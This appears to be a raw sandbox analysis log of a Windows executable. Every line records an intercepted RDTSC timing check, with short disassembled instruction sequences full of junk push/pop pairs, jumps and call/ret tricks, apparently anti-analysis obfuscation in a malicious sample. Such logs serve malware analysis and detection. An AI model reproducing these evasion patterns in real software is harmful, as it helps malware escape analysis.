Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E0C691 second address: E0C6B6 instructions: 0x00000000 rdtsc 0x00000002 je 00007FA34CB66816h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ebx 0x00000010 popad 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007FA34CB6681Eh 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E116EB second address: E116F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E11872 second address: E1187E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jbe 00007FA34CB66816h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E1187E second address: E11882 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC3BF1 second address: DC3BF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC3BF5 second address: DC3C33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 movsx ecx, di 0x0000000c push 00000004h 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007FA34CE69A18h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b jnl 00007FA34CE69A18h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E11E39 second address: E11E59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FA34CB66829h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E11FA9 second address: E11FBD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CE69A20h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E12A06 second address: E12A10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FA34CB66816h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E16D22 second address: E16D26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E16D26 second address: E16D38 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA34CB66816h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007FA34CB6681Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E16D38 second address: E16D4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 jne 00007FA34CE69A16h 0x0000000e jnl 00007FA34CE69A16h 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E16D4D second address: E16D63 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA34CB6681Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007FA34CB66816h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E16D63 second address: E16D67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E16EA6 second address: E16EAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E171A8 second address: E171AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E175DD second address: E175E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E20008 second address: E2000E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E1E76A second address: E1E76E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E1E76E second address: E1E772 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E1FAE5 second address: E1FAE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E1FAE9 second address: E1FAEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E1FAEF second address: E1FB11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007FA34CB6681Ah 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA34CB66820h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E26205 second address: E26211 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007FA34CE69A16h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E26211 second address: E26215 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E2A2D0 second address: E2A2D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E2A2D4 second address: E2A2FF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FA34CB6681Ch 0x0000000e js 00007FA34CB66816h 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007FA34CB66820h 0x0000001c push esi 0x0000001d pop esi 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E294E6 second address: E29511 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CE69A26h 0x00000007 pushad 0x00000008 jmp 00007FA34CE69A20h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E2969A second address: E2969E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E29968 second address: E2996C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E29A90 second address: E29A96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E29D31 second address: E29D3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FA34CE69A16h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E3393C second address: E33940 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E33940 second address: E3395E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jg 00007FA34CE69A16h 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 jns 00007FA34CE69A16h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push ecx 0x0000001b push eax 0x0000001c pop eax 0x0000001d pop ecx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E3395E second address: E3397F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA34CB66827h 0x00000009 ja 00007FA34CB66816h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E3397F second address: E3398D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FA34CE69A1Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E31E97 second address: E31EB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FA34CB6681Ch 0x0000000c jmp 00007FA34CB6681Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E3218A second address: E321A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA34CE69A27h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E321A5 second address: E321A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E321A9 second address: E321B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FA34CE69A16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E3231E second address: E32324 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E3247C second address: E32480 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E32480 second address: E32486 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E32486 second address: E32494 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E32494 second address: E32499 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E32499 second address: E324C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FA34CE69A16h 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FA34CE69A28h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E324C0 second address: E324C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E330AF second address: E330D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CE69A1Bh 0x00000007 pushad 0x00000008 jmp 00007FA34CE69A21h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E337B8 second address: E337EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CB66829h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FA34CB6681Fh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E4D34E second address: E4D358 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FA34CE69A16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E4D358 second address: E4D35C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E4CD9E second address: E4CDA3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E67390 second address: E673D2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA34CB66816h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b jns 00007FA34CB66816h 0x00000011 pop ebx 0x00000012 jmp 00007FA34CB66822h 0x00000017 pushad 0x00000018 push eax 0x00000019 pop eax 0x0000001a jmp 00007FA34CB66829h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E67A78 second address: E67A7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E67A7E second address: E67A82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E67C28 second address: E67C34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E68702 second address: E68708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E6B6F3 second address: E6B70B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FA34CE69A1Bh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E7A938 second address: E7A93C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E7A93C second address: E7A960 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CE69A28h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007FA34CE69A16h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E7A960 second address: E7A966 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E7A966 second address: E7A976 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FA34CE69A1Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E7A976 second address: E7A9A6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007FA34CB6681Ch 0x0000000c pop esi 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 jnl 00007FA34CB66816h 0x00000018 pop edx 0x00000019 jns 00007FA34CB66820h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E7C1E1 second address: E7C1E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E7C1E7 second address: E7C1EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E8CB4B second address: E8CB85 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA34CE69A16h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FA34CE69A1Bh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007FA34CE69A26h 0x00000019 ja 00007FA34CE69A16h 0x0000001f push eax 0x00000020 pop eax 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E8CB85 second address: E8CB90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E8CB90 second address: E8CB94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E8CB94 second address: E8CB9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E8CB9A second address: E8CBA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E8C6D2 second address: E8C6DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E8C6DA second address: E8C707 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FA34CE69A1Dh 0x0000000c jo 00007FA34CE69A16h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jnl 00007FA34CE69A1Ch 0x0000001f rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E8C707 second address: E8C711 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA34CB66822h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E8C711 second address: E8C717 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E8C87C second address: E8C89A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jmp 00007FA34CB66826h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: EA0BC2 second address: EA0BD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnp 00007FA34CE69A16h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: EA0BD0 second address: EA0BD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: EA0BD4 second address: EA0BD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: EA0BD8 second address: EA0BF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jmp 00007FA34CB66823h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: EA0D2A second address: EA0D2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: EA0D2E second address: EA0D34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: EA0D34 second address: EA0D39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: EA0EA4 second address: EA0EA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: EA0FFA second address: EA102C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA34CE69A20h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop edx 0x00000010 push esi 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007FA34CE69A23h 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: EA102C second address: EA103C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA34CB6681Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: EA103C second address: EA104B instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA34CE69A16h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: EA141A second address: EA1436 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA34CB6682Eh 0x00000008 jmp 00007FA34CB66822h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: EA16DA second address: EA16E4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA34CE69A1Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: EA737B second address: EA737F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: EA75DD second address: EA75E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: EA75E1 second address: EA763A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007FA34CB66818h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 push 00000004h 0x00000026 ja 00007FA34CB6681Ch 0x0000002c push 46160063h 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 je 00007FA34CB66816h 0x0000003a jmp 00007FA34CB66826h 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: EA9252 second address: EA9258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: EA9258 second address: EA9269 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 jnl 00007FA34CB66826h 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: EA9269 second address: EA926F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
